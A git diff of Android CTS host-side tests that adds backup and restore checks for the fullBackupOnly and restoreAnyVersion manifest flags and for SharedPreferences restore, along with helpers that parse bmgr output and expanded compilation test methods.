@@ -30,6 +31,8 @@
import org.junit.runner.RunWith;
import java.util.Scanner;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
/**
* Base class for CTS backup/restore hostside tests
@@ -51,6 +54,12 @@
CLog.i("android.software.backup feature is not supported on this device");
return;
}
+
+ // Check that the backup wasn't disabled and the transport wasn't switched unexpectedly.
+ assertTrue("Backup was unexpectedly disabled during the module test run",
+ isBackupEnabled());
+ assertEquals("LocalTransport should be selected at this point", LOCAL_TRANSPORT,
+ getCurrentTransport());
}
@After
@@ -91,6 +100,13 @@
}
/**
+ * Attempts to clear the device log.
+ */
+ protected void clearLogcat() throws DeviceNotAvailableException {
+ mDevice.executeAdbCommand("logcat", "-c");
+ }
+
+ /**
* Run test <testName> in test <className> found in package <packageName> on the device, and
* assert it is successful.
*/
@@ -107,7 +123,6 @@
* Expected format: "Package <packageName> with result: Success"
*/
protected void assertBackupIsSuccessful(String packageName, String backupnowOutput) {
- // Assert backup was successful.
Scanner in = new Scanner(backupnowOutput);
boolean success = false;
while (in.hasNextLine()) {
@@ -125,6 +140,29 @@
}
/**
+ * Parsing the output of "bmgr backupnow" command and checking that the package under test
+ * wasn't backed up because backup is not allowed
+ *
+ * Expected format: "Package <packageName> with result: Backup is not allowed"
+ */
+ protected void assertBackupIsNotAllowed(String packageName, String backupnowOutput) {
+ Scanner in = new Scanner(backupnowOutput);
+ boolean found = false;
+ while (in.hasNextLine()) {
+ String line = in.nextLine();
+
+ if (line.contains(packageName)) {
+ String result = line.split(":")[1].trim();
+ if ("Backup is not allowed".equals(result)) {
+ found = true;
+ }
+ }
+ }
+ in.close();
+ assertTrue("Didn't find \'Backup not allowed\' in the output", found);
+ }
+
+ /**
* Parsing the output of "bmgr restore" command and checking that the package under test
* was restored successfully.
*
@@ -158,4 +196,28 @@
protected void clearPackageData(String packageName) throws DeviceNotAvailableException {
mDevice.executeShellCommand(String.format("pm clear %s", packageName));
}
+
+ private boolean isBackupEnabled() throws DeviceNotAvailableException {
+ boolean isEnabled;
+ String output = mDevice.executeShellCommand("bmgr enabled");
+ Pattern pattern = Pattern.compile("^Backup Manager currently (enabled|disabled)$");
+ Matcher matcher = pattern.matcher(output.trim());
+ if (matcher.find()) {
+ isEnabled = "enabled".equals(matcher.group(1));
+ } else {
+ throw new RuntimeException("non-parsable output setting bmgr enabled: " + output);
+ }
+ return isEnabled;
+ }
+
+ private String getCurrentTransport() throws DeviceNotAvailableException {
+ String output = mDevice.executeShellCommand("bmgr list transports");
+ Pattern pattern = Pattern.compile("\\* (.*)");
+ Matcher matcher = pattern.matcher(output);
+ if (matcher.find()) {
+ return matcher.group(1);
+ } else {
+ throw new RuntimeException("non-parsable output setting bmgr transport: " + output);
+ }
+ }
}
diff --git a/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java
new file mode 100644
index 0000000..89cfe40
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup;
+
+import static junit.framework.Assert.assertNull;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test checking that 'fullBackupOnly' manifest attribute is respected by backup manager.
+ *
+ * Uses 3 different versions of the same app that differ only by 'fullBackupOnly' value and the
+ * presence/absence of the backup agent.*
+ *
+ * Invokes device side tests provided by
+ * {@link android.cts.backup.fullbackupapp.FullBackupOnlyTest}.
+ *
+ * The flow of the tests is the following:
+ * 1. Install the app
+ * 2. Generate files in data folder of the app, including a file in no_backup folder. The file in
+ * no_backup folder is used for key/value backup by the backup agent of the app.
+ * 3. Run 'bmgr backupnow'. Depending on the manifest of the app we expect either Dolly or Key/value
+ * backup to be performed.
+ * 4. Uninstall and reinstall the app.
+ * 5. Check that the correct files were restored depending on the manifest:
+ * - Files in the app's data folder for Dolly backup
+ * - Only file in no_backup folder for key/value.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class FullBackupOnlyHostSideTest extends BaseBackupHostSideTest {
+
+ private static final String FULLBACKUPONLY_APP_PACKAGE = "android.cts.backup.fullbackuponlyapp";
+ private static final String FULLBACKUPONLY_DEVICE_TEST_CLASS_NAME =
+ FULLBACKUPONLY_APP_PACKAGE + ".FullBackupOnlyTest";
+
+ /**
+ * The name of the APK of the app that has a backup agent and fullBackupOnly=false in the
+ * manifest
+ */
+ private static final String FULLBACKUPONLY_FALSE_WITH_AGENT_APP_APK =
+ "FullBackupOnlyFalseWithAgentApp.apk";
+
+ /**
+ * The name of the APK of the app that has no backup agent and fullBackupOnly=false in the
+ * manifest
+ */
+ private static final String FULLBACKUPONLY_FALSE_NO_AGENT_APP_APK =
+ "FullBackupOnlyFalseNoAgentApp.apk";
+
+ /**
+ * The name of the APK of the app that has a backup agent and fullBackupOnly=true in the
+ * manifest
+ */
+ private static final String FULLBACKUPONLY_TRUE_WITH_AGENT_APP_APK =
+ "FullBackupOnlyTrueWithAgentApp.apk";
+
+
+ @After
+ public void tearDown() throws Exception {
+ super.tearDown();
+
+ if (!mIsBackupSupported) {
+ return;
+ }
+
+ // Clear backup data and uninstall the package (in that order!)
+ clearBackupDataInLocalTransport(FULLBACKUPONLY_APP_PACKAGE);
+ assertNull(uninstallPackage(FULLBACKUPONLY_APP_PACKAGE));
+ }
+
+ /**
+ * Tests that the app that doesn't have fullBackupOnly (same as fullBackupOnly=false by default)
+ * and has a backup agent will get key/value backup.
+ * We check that key/value data was restored after reinstall and dolly data was not.
+ */
+ @Test
+ public void testFullBackupOnlyFalse_WithAgent() throws Exception {
+ if (!mIsBackupSupported) {
+ CLog.i("android.software.backup feature is not supported on this device");
+ return;
+ }
+
+ installPackage(FULLBACKUPONLY_FALSE_WITH_AGENT_APP_APK, "-d", "-r");
+
+ checkFullBackupOnlyDeviceTest("createFiles");
+
+ backupNowAndAssertSuccess(FULLBACKUPONLY_APP_PACKAGE);
+
+ assertNull(uninstallPackage(FULLBACKUPONLY_APP_PACKAGE));
+
+ installPackage(FULLBACKUPONLY_FALSE_WITH_AGENT_APP_APK, "-d", "-r");
+
+ checkFullBackupOnlyDeviceTest("checkKeyValueFileExists");
+ checkFullBackupOnlyDeviceTest("checkDollyFilesDontExist");
+ }
+
+ /**
+ * Tests that the app that doesn't have fullBackupOnly (same as fullBackupOnly=false by default)
+ * and has no backup agent will get Dolly backup.
+ * We check that key/value data was not restored after reinstall and dolly data was.
+ */
+ @Test
+ public void testFullBackupOnlyFalse_NoAgent() throws Exception {
+ if (!mIsBackupSupported) {
+ CLog.i("android.software.backup feature is not supported on this device");
+ return;
+ }
+
+ installPackage(FULLBACKUPONLY_FALSE_NO_AGENT_APP_APK, "-d", "-r");
+
+ checkFullBackupOnlyDeviceTest("createFiles");
+
+ backupNowAndAssertSuccess(FULLBACKUPONLY_APP_PACKAGE);
+
+ assertNull(uninstallPackage(FULLBACKUPONLY_APP_PACKAGE));
+
+ installPackage(FULLBACKUPONLY_FALSE_NO_AGENT_APP_APK, "-d", "-r");
+
+ checkFullBackupOnlyDeviceTest("checkKeyValueFileDoesntExist");
+ checkFullBackupOnlyDeviceTest("checkDollyFilesExist");
+ }
+
+ /**
+ * Tests that the app that has fullBackupOnly=true and has a backup agent will only get
+ * Dolly backup.
+ * We check that key/value data was not restored after reinstall and dolly data was.
+ */
+ @Test
+ public void testFullBackupOnlyTrue_WithAgent() throws Exception {
+ if (!mIsBackupSupported) {
+ CLog.i("android.software.backup feature is not supported on this device");
+ return;
+ }
+
+ installPackage(FULLBACKUPONLY_TRUE_WITH_AGENT_APP_APK, "-d", "-r");
+
+ checkFullBackupOnlyDeviceTest("createFiles");
+
+ backupNowAndAssertSuccess(FULLBACKUPONLY_APP_PACKAGE);
+
+ assertNull(uninstallPackage(FULLBACKUPONLY_APP_PACKAGE));
+
+ installPackage(FULLBACKUPONLY_TRUE_WITH_AGENT_APP_APK, "-d", "-r");
+
+ checkFullBackupOnlyDeviceTest("checkKeyValueFileDoesntExist");
+ checkFullBackupOnlyDeviceTest("checkDollyFilesExist");
+ }
+
+
+ private void checkFullBackupOnlyDeviceTest(String methodName)
+ throws DeviceNotAvailableException {
+ checkDeviceTest(FULLBACKUPONLY_APP_PACKAGE, FULLBACKUPONLY_DEVICE_TEST_CLASS_NAME,
+ methodName);
+ }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
index e93c913..a508d47 100644
--- a/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
@@ -18,6 +18,7 @@
import static org.junit.Assert.assertTrue;
+import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.log.LogUtil.CLog;
diff --git a/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
index 26ba04d..a1f4927 100644
--- a/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
@@ -43,6 +43,10 @@
private static final String KEY_VALUE_RESTORE_APP_PACKAGE =
"android.cts.backup.keyvaluerestoreapp";
+ /** The name of the package with the activity testing shared preference restore. */
+ private static final String SHARED_PREFERENCES_RESTORE_APP_PACKAGE =
+ "android.cts.backup.sharedprefrestoreapp";
+
/** The name of the device side test class */
private static final String KEY_VALUE_RESTORE_DEVICE_TEST_NAME =
KEY_VALUE_RESTORE_APP_PACKAGE + ".KeyValueBackupRestoreTest";
@@ -50,11 +54,19 @@
/** The name of the apk of the app under test */
private static final String KEY_VALUE_RESTORE_APP_APK = "CtsKeyValueBackupRestoreApp.apk";
+ /** The name of the apk with the activity testing shared preference restore. */
+ private static final String SHARED_PREFERENCES_RESTORE_APP_APK =
+ "CtsSharedPreferencesRestoreApp.apk";
+
+
@Before
public void setUp() throws Exception {
super.setUp();
installPackage(KEY_VALUE_RESTORE_APP_APK);
clearPackageData(KEY_VALUE_RESTORE_APP_PACKAGE);
+
+ installPackage(SHARED_PREFERENCES_RESTORE_APP_APK);
+ clearPackageData(SHARED_PREFERENCES_RESTORE_APP_APK);
}
@After
@@ -64,6 +76,9 @@
// Clear backup data and uninstall the package (in that order!)
clearBackupDataInLocalTransport(KEY_VALUE_RESTORE_APP_PACKAGE);
assertNull(uninstallPackage(KEY_VALUE_RESTORE_APP_PACKAGE));
+
+ clearBackupDataInLocalTransport(SHARED_PREFERENCES_RESTORE_APP_PACKAGE);
+ assertNull(uninstallPackage(SHARED_PREFERENCES_RESTORE_APP_PACKAGE));
}
/**
@@ -98,6 +113,47 @@
checkDeviceTest("checkSharedPreferencesAreRestored");
}
+ /**
+ * Test that verifies SharedPreference restore behavior.
+ *
+ * The tests uses device-side test routines and a test activity in *another* package, since
+ * the app containing the instrumented tests is killed after each test.
+ *
+ * Test logic:
+ * 1. The activity is launched; it creates a new SharedPreferences instance and writes
+ * a known value to the INT_PREF element's via that instance. The instance is
+ * kept live.
+ * 2. The app is backed up, storing this known value in the backup dataset.
+ * 3. Next, the activity is instructed to write a different value to the INT_PREF
+ * shared preferences element. At this point, the app's current on-disk state
+ * and the live shared preferences instance are in agreement, holding a value
+ * different from that in the backup.
+ * 4. The runner triggers a restore for this app. This will rewrite the shared prefs
+ * file itself with the backed-up content (i.e. different from what was just
+ * committed from this activity).
+ * 5. Finally, the runner instructs the activity to compare the value of its existing
+ * shared prefs instance's INT_PREF element with what was previously written.
+ * The test passes if these differ, i.e. if the live shared prefs instance picked
+ * up the newly-restored data.
+ */
+ @Test
+ public void testSharedPreferencesRestore() throws Exception {
+ if (!mIsBackupSupported) {
+ CLog.i("android.software.backup feature is not supported on this device");
+ return;
+ }
+
+ checkDeviceTest("launchSharedPrefActivity");
+
+ backupNowAndAssertSuccess(SHARED_PREFERENCES_RESTORE_APP_PACKAGE);
+
+ checkDeviceTest("updateSharedPrefActivity");
+
+ restoreAndAssertSuccess(SHARED_PREFERENCES_RESTORE_APP_PACKAGE);
+
+ checkDeviceTest("checkSharedPrefActivity");
+ }
+
private void checkDeviceTest(String methodName)
throws DeviceNotAvailableException {
super.checkDeviceTest(KEY_VALUE_RESTORE_APP_PACKAGE, KEY_VALUE_RESTORE_DEVICE_TEST_NAME,
diff --git a/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java
new file mode 100644
index 0000000..7c1f37b
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java
@@ -0,0 +1,185 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assume.assumeTrue;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileNotFoundException;
+
+/**
+ * Test checking that restoreAnyVersion manifest flag is respected by backup manager.
+ *
+ * Invokes device side tests provided by
+ * android.cts.backup.restoreanyversionapp.RestoreAnyVersionTest.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class RestoreAnyVersionHostSideTest extends BaseBackupHostSideTest {
+
+ /** The name of the package of the app under test */
+ private static final String RESTORE_ANY_VERSION_APP_PACKAGE =
+ "android.cts.backup.restoreanyversionapp";
+
+ /** The name of the device side test class */
+ private static final String RESTORE_ANY_VERSION_DEVICE_TEST_NAME =
+ RESTORE_ANY_VERSION_APP_PACKAGE + ".RestoreAnyVersionTest";
+
+ /** The name of the APK of the app that has restoreAnyVersion=true in the manifest */
+ private static final String RESTORE_ANY_VERSION_APP_APK = "CtsBackupRestoreAnyVersionApp.apk";
+
+ /** The name of the APK of the app that has a higher version code */
+ private static final String RESTORE_ANY_VERSION_UPDATE_APK =
+ "CtsBackupRestoreAnyVersionAppUpdate.apk";
+
+ /** The name of the APK of the app that has restoreAnyVersion=false in the manifest */
+ private static final String NO_RESTORE_ANY_VERSION_APK =
+ "CtsBackupRestoreAnyVersionNoRestoreApp.apk";
+
+ @After
+ public void tearDown() throws Exception {
+ super.tearDown();
+
+ if (!mIsBackupSupported) {
+ return;
+ }
+
+ // Clear backup data and uninstall the package (in that order!)
+ clearBackupDataInLocalTransport(RESTORE_ANY_VERSION_APP_PACKAGE);
+ assertNull(uninstallPackage(RESTORE_ANY_VERSION_APP_PACKAGE));
+ }
+
+ /**
+ * Tests that the app that has restoreAnyVersion=false will not get the restored data from a
+ * newer version of that app at install time
+ */
+ @Test
+ public void testRestoreAnyVersion_False() throws Exception {
+ if (!mIsBackupSupported) {
+ CLog.i("android.software.backup feature is not supported on this device");
+ return;
+ }
+
+ installNewVersionApp();
+
+ saveSharedPreferenceValue();
+ checkRestoreAnyVersionDeviceTest("checkSharedPrefIsNew");
+
+ backupNowAndAssertSuccess(RESTORE_ANY_VERSION_APP_PACKAGE);
+
+ assertNull(uninstallPackage(RESTORE_ANY_VERSION_APP_PACKAGE));
+
+ installNoRestoreAnyVersionApp();
+
+ // Shared preference shouldn't be restored
+ checkRestoreAnyVersionDeviceTest("checkSharedPrefIsEmpty");
+ }
+
+ /**
+ * Tests that the app that has restoreAnyVersion=true will get the restored data from a
+ * newer version of that app at install time
+ */
+ @Test
+ public void testRestoreAnyVersion_True() throws Exception {
+ if (!mIsBackupSupported) {
+ CLog.i("android.software.backup feature is not supported on this device");
+ return;
+ }
+
+ installNewVersionApp();
+
+ saveSharedPreferenceValue();
+ checkRestoreAnyVersionDeviceTest("checkSharedPrefIsNew");
+
+ backupNowAndAssertSuccess(RESTORE_ANY_VERSION_APP_PACKAGE);
+
+ assertNull(uninstallPackage(RESTORE_ANY_VERSION_APP_PACKAGE));
+
+ installRestoreAnyVersionApp();
+
+ // Shared preference should be restored
+ checkRestoreAnyVersionDeviceTest("checkSharedPrefIsNew");
+ }
+
+ /**
+ * Tests that the app that has restoreAnyVersion=false will still get the restored data from an
+ * older version of that app at install time
+ */
+ @Test
+ public void testRestoreAnyVersion_OldBackupToNewApp() throws Exception {
+ if (!mIsBackupSupported) {
+ CLog.i("android.software.backup feature is not supported on this device");
+ return;
+ }
+
+ installNoRestoreAnyVersionApp();
+
+ saveSharedPreferenceValue();
+ checkRestoreAnyVersionDeviceTest("checkSharedPrefIsOld");
+
+ backupNowAndAssertSuccess(RESTORE_ANY_VERSION_APP_PACKAGE);
+
+ assertNull(uninstallPackage(RESTORE_ANY_VERSION_APP_PACKAGE));
+
+ installNewVersionApp();
+
+ checkRestoreAnyVersionDeviceTest("checkSharedPrefIsOld");
+ }
+
+ private void saveSharedPreferenceValue () throws DeviceNotAvailableException {
+ checkRestoreAnyVersionDeviceTest("checkSharedPrefIsEmpty");
+ checkRestoreAnyVersionDeviceTest("saveSharedPrefValue");
+ }
+
+ private void installRestoreAnyVersionApp()
+ throws DeviceNotAvailableException, FileNotFoundException {
+ installPackage(RESTORE_ANY_VERSION_APP_APK, "-d", "-r");
+
+ checkRestoreAnyVersionDeviceTest("checkAppVersionIsOld");
+ }
+
+ private void installNoRestoreAnyVersionApp()
+ throws DeviceNotAvailableException, FileNotFoundException {
+ installPackage(NO_RESTORE_ANY_VERSION_APK, "-d", "-r");
+
+ checkRestoreAnyVersionDeviceTest("checkAppVersionIsOld");
+ }
+
+ private void installNewVersionApp()
+ throws DeviceNotAvailableException, FileNotFoundException {
+ installPackage(RESTORE_ANY_VERSION_UPDATE_APK, "-d", "-r");
+
+ checkRestoreAnyVersionDeviceTest("checkAppVersionIsNew");
+ }
+
+ private void checkRestoreAnyVersionDeviceTest(String methodName)
+ throws DeviceNotAvailableException {
+ checkDeviceTest(RESTORE_ANY_VERSION_APP_PACKAGE, RESTORE_ANY_VERSION_DEVICE_TEST_NAME,
+ methodName);
+ }
+}
diff --git a/hostsidetests/bootstats/Android.mk b/hostsidetests/bootstats/Android.mk
index 24e2f8b..58fcfe2 100644
--- a/hostsidetests/bootstats/Android.mk
+++ b/hostsidetests/bootstats/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CTS_TEST_PACKAGE := android.bootstats
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/compilation/Android.mk b/hostsidetests/compilation/Android.mk
index 723e5c3..09c8507 100644
--- a/hostsidetests/compilation/Android.mk
+++ b/hostsidetests/compilation/Android.mk
@@ -23,7 +23,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsCompilationTestCases
diff --git a/hostsidetests/compilation/app/Android.mk b/hostsidetests/compilation/app/Android.mk
index 5bcf108..d9d79d6 100644
--- a/hostsidetests/compilation/app/Android.mk
+++ b/hostsidetests/compilation/app/Android.mk
@@ -26,6 +26,6 @@
LOCAL_PACKAGE_NAME := CtsCompilationApp
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/compilation/app/src/android/cts/compilation/CompilationTargetActivity.java b/hostsidetests/compilation/app/src/android/cts/compilation/CompilationTargetActivity.java
index e4c28fb..180b4c4 100644
--- a/hostsidetests/compilation/app/src/android/cts/compilation/CompilationTargetActivity.java
+++ b/hostsidetests/compilation/app/src/android/cts/compilation/CompilationTargetActivity.java
@@ -192,6 +192,106 @@
case 97: return m97();
case 98: return m98();
case 99: return m99();
+ case 100: return m100();
+ case 101: return m101();
+ case 102: return m102();
+ case 103: return m103();
+ case 104: return m104();
+ case 105: return m105();
+ case 106: return m106();
+ case 107: return m107();
+ case 108: return m108();
+ case 109: return m109();
+ case 110: return m110();
+ case 111: return m111();
+ case 112: return m112();
+ case 113: return m113();
+ case 114: return m114();
+ case 115: return m115();
+ case 116: return m116();
+ case 117: return m117();
+ case 118: return m118();
+ case 119: return m119();
+ case 120: return m120();
+ case 121: return m121();
+ case 122: return m122();
+ case 123: return m123();
+ case 124: return m124();
+ case 125: return m125();
+ case 126: return m126();
+ case 127: return m127();
+ case 128: return m128();
+ case 129: return m129();
+ case 130: return m130();
+ case 131: return m131();
+ case 132: return m132();
+ case 133: return m133();
+ case 134: return m134();
+ case 135: return m135();
+ case 136: return m136();
+ case 137: return m137();
+ case 138: return m138();
+ case 139: return m139();
+ case 140: return m140();
+ case 141: return m141();
+ case 142: return m142();
+ case 143: return m143();
+ case 144: return m144();
+ case 145: return m145();
+ case 146: return m146();
+ case 147: return m147();
+ case 148: return m148();
+ case 149: return m149();
+ case 150: return m150();
+ case 151: return m151();
+ case 152: return m152();
+ case 153: return m153();
+ case 154: return m154();
+ case 155: return m155();
+ case 156: return m156();
+ case 157: return m157();
+ case 158: return m158();
+ case 159: return m159();
+ case 160: return m160();
+ case 161: return m161();
+ case 162: return m162();
+ case 163: return m163();
+ case 164: return m164();
+ case 165: return m165();
+ case 166: return m166();
+ case 167: return m167();
+ case 168: return m168();
+ case 169: return m169();
+ case 170: return m170();
+ case 171: return m171();
+ case 172: return m172();
+ case 173: return m173();
+ case 174: return m174();
+ case 175: return m175();
+ case 176: return m176();
+ case 177: return m177();
+ case 178: return m178();
+ case 179: return m179();
+ case 180: return m180();
+ case 181: return m181();
+ case 182: return m182();
+ case 183: return m183();
+ case 184: return m184();
+ case 185: return m185();
+ case 186: return m186();
+ case 187: return m187();
+ case 188: return m188();
+ case 189: return m189();
+ case 190: return m190();
+ case 191: return m191();
+ case 192: return m192();
+ case 193: return m193();
+ case 194: return m194();
+ case 195: return m195();
+ case 196: return m196();
+ case 197: return m197();
+ case 198: return m198();
+ case 199: return m199();
default: throw new AssertionError(v + " out of bounds");
}
}
@@ -296,5 +396,104 @@
public int m97() { return new Random(97).nextInt(); }
public int m98() { return new Random(98).nextInt(); }
public int m99() { return new Random(99).nextInt(); }
-
+ public int m100() { return new Random(100).nextInt(); }
+ public int m101() { return new Random(101).nextInt(); }
+ public int m102() { return new Random(102).nextInt(); }
+ public int m103() { return new Random(103).nextInt(); }
+ public int m104() { return new Random(104).nextInt(); }
+ public int m105() { return new Random(105).nextInt(); }
+ public int m106() { return new Random(106).nextInt(); }
+ public int m107() { return new Random(107).nextInt(); }
+ public int m108() { return new Random(108).nextInt(); }
+ public int m109() { return new Random(109).nextInt(); }
+ public int m110() { return new Random(110).nextInt(); }
+ public int m111() { return new Random(111).nextInt(); }
+ public int m112() { return new Random(112).nextInt(); }
+ public int m113() { return new Random(113).nextInt(); }
+ public int m114() { return new Random(114).nextInt(); }
+ public int m115() { return new Random(115).nextInt(); }
+ public int m116() { return new Random(116).nextInt(); }
+ public int m117() { return new Random(117).nextInt(); }
+ public int m118() { return new Random(118).nextInt(); }
+ public int m119() { return new Random(119).nextInt(); }
+ public int m120() { return new Random(120).nextInt(); }
+ public int m121() { return new Random(121).nextInt(); }
+ public int m122() { return new Random(122).nextInt(); }
+ public int m123() { return new Random(123).nextInt(); }
+ public int m124() { return new Random(124).nextInt(); }
+ public int m125() { return new Random(125).nextInt(); }
+ public int m126() { return new Random(126).nextInt(); }
+ public int m127() { return new Random(127).nextInt(); }
+ public int m128() { return new Random(128).nextInt(); }
+ public int m129() { return new Random(129).nextInt(); }
+ public int m130() { return new Random(130).nextInt(); }
+ public int m131() { return new Random(131).nextInt(); }
+ public int m132() { return new Random(132).nextInt(); }
+ public int m133() { return new Random(133).nextInt(); }
+ public int m134() { return new Random(134).nextInt(); }
+ public int m135() { return new Random(135).nextInt(); }
+ public int m136() { return new Random(136).nextInt(); }
+ public int m137() { return new Random(137).nextInt(); }
+ public int m138() { return new Random(138).nextInt(); }
+ public int m139() { return new Random(139).nextInt(); }
+ public int m140() { return new Random(140).nextInt(); }
+ public int m141() { return new Random(141).nextInt(); }
+ public int m142() { return new Random(142).nextInt(); }
+ public int m143() { return new Random(143).nextInt(); }
+ public int m144() { return new Random(144).nextInt(); }
+ public int m145() { return new Random(145).nextInt(); }
+ public int m146() { return new Random(146).nextInt(); }
+ public int m147() { return new Random(147).nextInt(); }
+ public int m148() { return new Random(148).nextInt(); }
+ public int m149() { return new Random(149).nextInt(); }
+ public int m150() { return new Random(150).nextInt(); }
+ public int m151() { return new Random(151).nextInt(); }
+ public int m152() { return new Random(152).nextInt(); }
+ public int m153() { return new Random(153).nextInt(); }
+ public int m154() { return new Random(154).nextInt(); }
+ public int m155() { return new Random(155).nextInt(); }
+ public int m156() { return new Random(156).nextInt(); }
+ public int m157() { return new Random(157).nextInt(); }
+ public int m158() { return new Random(158).nextInt(); }
+ public int m159() { return new Random(159).nextInt(); }
+ public int m160() { return new Random(160).nextInt(); }
+ public int m161() { return new Random(161).nextInt(); }
+ public int m162() { return new Random(162).nextInt(); }
+ public int m163() { return new Random(163).nextInt(); }
+ public int m164() { return new Random(164).nextInt(); }
+ public int m165() { return new Random(165).nextInt(); }
+ public int m166() { return new Random(166).nextInt(); }
+ public int m167() { return new Random(167).nextInt(); }
+ public int m168() { return new Random(168).nextInt(); }
+ public int m169() { return new Random(169).nextInt(); }
+ public int m170() { return new Random(170).nextInt(); }
+ public int m171() { return new Random(171).nextInt(); }
+ public int m172() { return new Random(172).nextInt(); }
+ public int m173() { return new Random(173).nextInt(); }
+ public int m174() { return new Random(174).nextInt(); }
+ public int m175() { return new Random(175).nextInt(); }
+ public int m176() { return new Random(176).nextInt(); }
+ public int m177() { return new Random(177).nextInt(); }
+ public int m178() { return new Random(178).nextInt(); }
+ public int m179() { return new Random(179).nextInt(); }
+ public int m180() { return new Random(180).nextInt(); }
+ public int m181() { return new Random(181).nextInt(); }
+ public int m182() { return new Random(182).nextInt(); }
+ public int m183() { return new Random(183).nextInt(); }
+ public int m184() { return new Random(184).nextInt(); }
+ public int m185() { return new Random(185).nextInt(); }
+ public int m186() { return new Random(186).nextInt(); }
+ public int m187() { return new Random(187).nextInt(); }
+ public int m188() { return new Random(188).nextInt(); }
+ public int m189() { return new Random(189).nextInt(); }
+ public int m190() { return new Random(190).nextInt(); }
+ public int m191() { return new Random(191).nextInt(); }
+ public int m192() { return new Random(192).nextInt(); }
+ public int m193() { return new Random(193).nextInt(); }
+ public int m194() { return new Random(194).nextInt(); }
+ public int m195() { return new Random(195).nextInt(); }
+ public int m196() { return new Random(196).nextInt(); }
+ public int m197() { return new Random(197).nextInt(); }
+ public int m198() { return new Random(198).nextInt(); }
+ public int m199() { return new Random(199).nextInt(); }
}
diff --git a/hostsidetests/compilation/assets/CtsCompilationApp.apk b/hostsidetests/compilation/assets/CtsCompilationApp.apk
index e556756..1764915 100644
--- a/hostsidetests/compilation/assets/CtsCompilationApp.apk
+++ b/hostsidetests/compilation/assets/CtsCompilationApp.apk
Binary files differ
diff --git a/hostsidetests/compilation/assets/primary.prof.txt b/hostsidetests/compilation/assets/primary.prof.txt
index ab8b943..0a8bded 100644
--- a/hostsidetests/compilation/assets/primary.prof.txt
+++ b/hostsidetests/compilation/assets/primary.prof.txt
@@ -1,4 +1,15 @@
Landroid/cts/compilation/CompilationTargetActivity;
+Landroid/cts/compilation/CompilationTargetActivity;->m0()I
+Landroid/cts/compilation/CompilationTargetActivity;->m1()I
+Landroid/cts/compilation/CompilationTargetActivity;->m2()I
+Landroid/cts/compilation/CompilationTargetActivity;->m3()I
+Landroid/cts/compilation/CompilationTargetActivity;->m4()I
+Landroid/cts/compilation/CompilationTargetActivity;->m5()I
+Landroid/cts/compilation/CompilationTargetActivity;->m6()I
+Landroid/cts/compilation/CompilationTargetActivity;->m7()I
+Landroid/cts/compilation/CompilationTargetActivity;->m8()I
+Landroid/cts/compilation/CompilationTargetActivity;->m9()I
+Landroid/cts/compilation/CompilationTargetActivity;->m10()I
Landroid/cts/compilation/CompilationTargetActivity;->m11()I
Landroid/cts/compilation/CompilationTargetActivity;->m12()I
